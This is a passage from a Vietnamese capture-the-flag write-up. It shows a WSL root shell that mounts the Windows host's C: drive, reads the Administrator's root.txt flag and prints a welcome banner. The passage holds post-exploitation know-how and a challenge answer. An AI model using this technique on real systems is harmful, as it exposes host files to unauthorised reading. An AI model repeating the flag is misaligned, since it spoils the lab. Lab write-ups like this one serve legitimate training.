d--x--x--x 1 root root 4096 Aug 25  2022 'System Volume Information'
drwxrwxrwx 1 root root 4096 Aug 25  2022  Users
drwxrwxrwx 1 root root 4096 Mar 13  2023  Windows
drwxrwxrwx 1 root root 4096 Aug 31 23:22  datasci-team
-????????? ? ?    ?       ?            ?  pagefile.sys

Việc có quyền root trong WSL không đồng nghĩa với việc có quyền trên máy host. Tuy nhiên, trong trường hợp này, chúng ta lại có thể mount toàn bộ ổ C và đọc file tùy ý.

root.txt (Host)

root@DEV-DATASCI-JUP:/mnt# cd c/Users/Administrator/Desktop
cd c/Users/Administrator/Desktop
root@DEV-DATASCI-JUP:/mnt/c/Users/Administrator/Desktop# ls
ls
 ChromeSetup.exe                banner.txt                root.txt
 Ubuntu2004-220404.appxbundle   desktop.ini
'Visual Studio Code.lnk'        python-3.10.6-amd64.exe
root@DEV-DATASCI-JUP:/mnt/c/Users/Administrator/Desktop# cat root.txt
cat root.txt
THM{evelated_w3as3l_l0ngest_boi}
root@DEV-DATASCI-JUP:/mnt/c/Users/Administrator/Desktop# cat banner.txt

Ngoài ra, còn có cả một ASCII art!

cat banner.txt
WELCOME DATASCI TEAM


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@#*,.  %%@&&&/* .*.@@@#@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*.. ((((/    ..  ...,**/ @@@@&@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&. .#%(*//%(////* . ... ... %@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,  /*(###/(/(/(//*,*,*.,.,..,,.@@&@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*  ,/#&&@@@///((//**(/#(//**,,.,@ @@@@@@@@/@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/,,,/,*(%@((//***/*(#&&@@%##(/*,,*..@@&@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*.,**,**(#///*,*,,/((%%#/(#/*/##(#((//@(/#(%@%@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%.*,*//(*(#(#/.(//(/(#%(&&#((/(#@@@@@%(@&%@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&/,*./(#((*,,/#/*#*(//##(%##/(%%%%#/*/&#&&@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,*(#(%%&&*....,#&&%@#%*,,,.,,,,*%&%@&@@&@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/.,/((/%%&&#/.......,,,.,,,.. *@@@@@&&@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,*((((#(/#*,,...,.........  *&@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*.,**(###(#(,*............    %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&%%&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(. ..*,(#((&&#(* ,,....,.....   .&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&*        ...  . . ..(#@@@@@@@@@@@@@@@@@.   .,,/(///&##%%%/,,........ .   &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%,..  ..... ..... ..... ...             .   ..,,,***/#%/%%&(/*,........... .&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&,.....,***,,******,*,,*.,,.,.... .. .,**,*..**.*((,(#(#(%##(##*.,........  .&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/....,**//*/*/#//#(//***///*,*,,****,,*//(*****.*,*/##((%#(@###*/,......... #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@%*.,*/////*/**/(/(#(/**/(///(/(/(*////(//,,***(*,//(/#*(&(&#%#&%%*/........   &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@%,,*****///////////((//(((#((/((//*,,,*//*/((,,*/**//((((&##%%#%&&#/*....   .(&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@/,***//(//*//////((/((((/(//(%#/#(////#/##*#(/(((///%*#(##%#&%#%%#/,.......#&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@(,,*////*/////(((((#%###%#//#####(/(#(((((#((((((//(/(%#%&%%#%#%%/*...... ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%,.,****///(////((#(#%#(##/(%#(###((##%%#%%%#((##%((%(###&%@%&%%%/*,..... ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@&(*,,**////////#((##(((###(#####%#%%%#%&&#%&&%#######&#%&%&@%@&@&#,,.... ..#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@(,,,*/*///(//((%#(###%##%####&####%##&%#%%&%(######%%&@@&&%@@%(#*..... ..&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@&/****/**/((((/(##(##%###%%&#%%%%%%#%&%%%%###(###%%%%%@&@@@@@%#(,...... #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@%/*////(/((#/(((##%#%#%#%%%%#%%%%##%#%#%(**,/((%%%&%&&&@@@%&%*...,,,(#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%///((////(((((#((####(#(/(((######//(***,,,,(#(##%%&&@@&%#*,,,,,,*&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@&(//((/((((/((##/(,,,.,,,,,,,****,,,,,,,,,,,,*(((#(#%&&%%(/***/((/#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@%((/((//(*/,,,..,,,,,,,****/****,,...  .&%(**/((#%&&&%(#%%%###*%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@&#((///*,,,,*,*((@///(##(((////********&&&#.*/((%&%#(,*(%%#((&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#(#((#*(,*&/(%#@@%%%%%%###&&@@#/**,..  ..*#%%&%%%%,,/##(/,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%&&%..*,#&/%%#%@@@@@@@@@@&#@&#/@&%*%(  ,/(###@@@@@,/(*(, ,/.  #&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
                             ........,*.*#(*#((///////*/****,,,.       .,(#&#/     .*/(/(/  /,
                          ... ..  .       ...,,,,,,*****/*////(///(//*,..//((/,(/**,....,**                     .
                                         .. .,,,,,,. ,*/*,,,**,/****/((((*,,/#%(,//#((((/,       ...                    *.
           .                  ...       .      ......,..,.,.......,*,//(/##(/(#/***(**.,.,,..  .       .         ,/%//*..(/((#    *../*  ..,
    .,***,.                       . .  .   .. ,... ,*,,..,,,,*,,*,,,.,,,,//*/*,*,***..*,,/(/*...,*. . /,    ,   ,/. *%(.. @%((/(* ., . ,,,,
.. ,.                             . . .        .,**(/*,*,,,****.*,.*,.,,,,,.*,.,*******,,. ,,,....   ,* ,,  #((#./ .,**# ***(#/%@#%# .. .  .
,//**.               .    .,  . ... ...,,,.. ..,..,,,.** ..*,**,/**.  ..,.,**,.*,.,,,,*,,**,*,*(****. .   *(%%%&&&%&&#/&(&&.#,,/*/*/#%%#%  ,

--------------------------------------------------------------------------------------------------------------------------------------------

We've set up this server for your weasel research project. Please use it responsibly.

-IT Team